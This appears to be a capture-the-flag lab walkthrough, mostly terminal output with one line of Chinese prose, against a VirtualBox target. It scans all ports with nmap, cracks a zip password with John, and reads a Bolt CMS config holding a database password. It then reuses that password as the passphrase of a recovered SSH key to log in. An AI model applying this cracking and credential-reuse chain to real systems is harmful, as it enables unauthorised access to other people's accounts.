sudo nmap -Pn -p- $t Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-09 13:15 EDT Nmap scan report for 10.0.2.7 Host is up (0.00028s latency). Not shown: 65526 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 111/tcp open rpcbind 2049/tcp open nfs 8080/tcp open http-proxy 36593/tcp open unknown 36953/tcp open unknown 39333/tcp open unknown 51501/tcp open unknown MAC Address: 08:00:27:75:18:29 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 6.66 seconds
zip2john save.zip Using default input encoding: UTF-8 Loaded 1 password hash (PKZIP [32/64]) Will run 6 OpenMP threads Proceeding with single, rules:Single Press 'q' or Ctrl-C to abort, almost any other key for status Almost done: Processing the remaining buffered candidate passwords, if any. Proceeding with wordlist:/usr/share/john/password.lst Proceeding with incremental:ASCII java101 (save.zip) # <----------- 1g 0:00:00:03 DONE 3/3 (2023-10-09 14:45) 0.2923g/s 9806Kp/s 9806Kc/s 9806KC/s bbs1700..javona1 Use the "--show" option to display all of the cracked passwords reliably Session completed.
cat todo.txt - Figure out how to install the main website properly, the config file seems correct... - Update development website - Keep coding in Java because it's awesome jp
# Database setup. The driver can be either 'sqlite', 'mysql' or 'postgres'. # # For SQLite, only the databasename is required. However, MySQL and PostgreSQL # also require 'username', 'password', and optionally 'host' ( and 'port' ) if the database # server is not on the same host as the web server. # # If you're trying out Bolt, just keep it set to SQLite for now. database: driver:sqlite databasename:bolt username:bolt password:I_love_java
#!/usr/bin/env php <?php /* * This could be loaded on a very old version of PHP so no syntax/methods over 5.2 in this file. */
$minVersion = '5.5.9'; if (version_compare(PHP_VERSION, $minVersion, '<')) { echosprintf("\033[37;41mBolt requires PHP \033[1m%s\033[22m or higher. You have PHP \033[1m%s\033[22m, so Bolt will not run on your current setup.\033[39;49m%s", $minVersion, PHP_VERSION, PHP_EOL); exit(1); }
# Use the front controller as index file. It serves as a fallback solution when # every other rewrite/redirect fails (e.g. in an aliased environment without # mod_rewrite). Additionally, this reduces the matching process for the # start page (path "/") because otherwise Apache will apply the rewriting rules # to each configured DirectoryIndex file (e.g. index.php, index.html, index.pl). DirectoryIndex index.php
# By default, Apache does not evaluate symbolic links if you did not enable this # feature in your server configuration. Uncomment the following line if you # install assets as symlinks or if you experience problems related to symlinks # when compiling LESS/Sass/CoffeScript assets. # Options +FollowSymlinks
# Disabling MultiViews prevents unwanted negotiation, e.g. "/index" should not resolve # to the front controller "/index.php" but be rewritten to "/index.php/index". <IfModule mod_negotiation.c> Options -MultiViews </IfModule>
<IfModule mod_rewrite.c> RewriteEngine On
# Determine the RewriteBase automatically and set it as environment variable. # If you are using Apache aliases to do mass virtual hosting or installed the # project in a subdirectory, the base path will be prepended to allow proper # resolution of the index.php file and to redirect to the correct URI. It will # work in environments without path prefix as well, providing a safe, one-size # fits all solution. But as you do not need it in this case, you can comment # the following 2 lines to eliminate the overhead. RewriteCond %{REQUEST_URI}::$0 ^(/.+)/(.*)::\2$ RewriteRule .* - [E=BASE:%1]
# Sets the HTTP_AUTHORIZATION header removed by Apache RewriteCond %{HTTP:Authorization} .+ RewriteRule ^ - [E=HTTP_AUTHORIZATION:%0]
# Redirect to URI without front controller to prevent duplicate content # (with and without `/index.php`). Only do this redirect on the initial # rewrite by Apache and not on subsequent cycles. Otherwise we would get an # endless redirect loop (request -> rewrite to front controller -> # redirect -> request -> ...). # So in case you get a "too many redirects" error or you always get redirected # to the start page because your Apache does not expose the REDIRECT_STATUS # environment variable, you have 2 choices: # - disable this feature by commenting the following 2 lines or # - use Apache >= 2.3.9 and replace all L flags by END flags and remove the # following RewriteCond (best solution) RewriteCond %{ENV:REDIRECT_STATUS} ="" RewriteRule ^index\.php(?:/(.*)|$) %{ENV:BASE}/$1 [R=301,L]
# If the requested filename exists, simply serve it. # We only want to let Apache serve files and not directories. # Rewrite all other queries to the front controller. RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^ %{ENV:BASE}/index.php [L] </IfModule>
<IfModule !mod_rewrite.c> <IfModule mod_alias.c> # When mod_rewrite is not available, we instruct a temporary redirect of # the start page to the front controller explicitly so that the website # and the generated links can still be used. RedirectMatch 307 ^/$ /index.php/ # RedirectTemp cannot be used instead </IfModule> </IfModule>
# Don't put config.yml in git, unless you're absolutely sure that all sensitive # info (database credentials, mail settings) are _only_ in config_local.yml app/config/config.yml
# Usually we don't put 'uploaded files' into git either. files/
# Modify this, only if you've changed the default folder in .bolt.yml public/bolt-public/
不幸的是，它不起作用，但我们还可以尝试一件事。我们仍然拥有在 save.zip 中找到的 id_rsa 文件。我们可以使用 i 标志将其设置为此 SSH 连接的私钥：
1 2 3 4 5 6 7 8 9 10
ssh -i id_rsa jeanpaul@10.0.2.7 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @ WARNING: UNPROTECTED PRIVATE KEY FILE! @ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ Permissions 0744 for 'id_rsa' are too open. It is required that your private key files are NOT accessible by others. This private key will be ignored. Load key "id_rsa": bad permissions jeanpaul@10.0.2.7's password: Permission denied, please try again.
> chmod 400 id_rsa > ls -l id_rsa -r-------- 1 hakcypuppy hakcypuppy 1876 Jun 2 2021 id_rsa > ssh -i id_rsa jeanpaul@10.0.2.7 Enter passphrase for key 'id_rsa': java101 # <-- password on zip file (fails) Enter passphrase for key 'id_rsa': I_love_java # <-- password for db (works!) Linux dev 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Mon Oct 9 17:39:34 2023 from 10.0.2.4 jeanpaul@dev:~$ # <---------------------------- WE'RE IN!
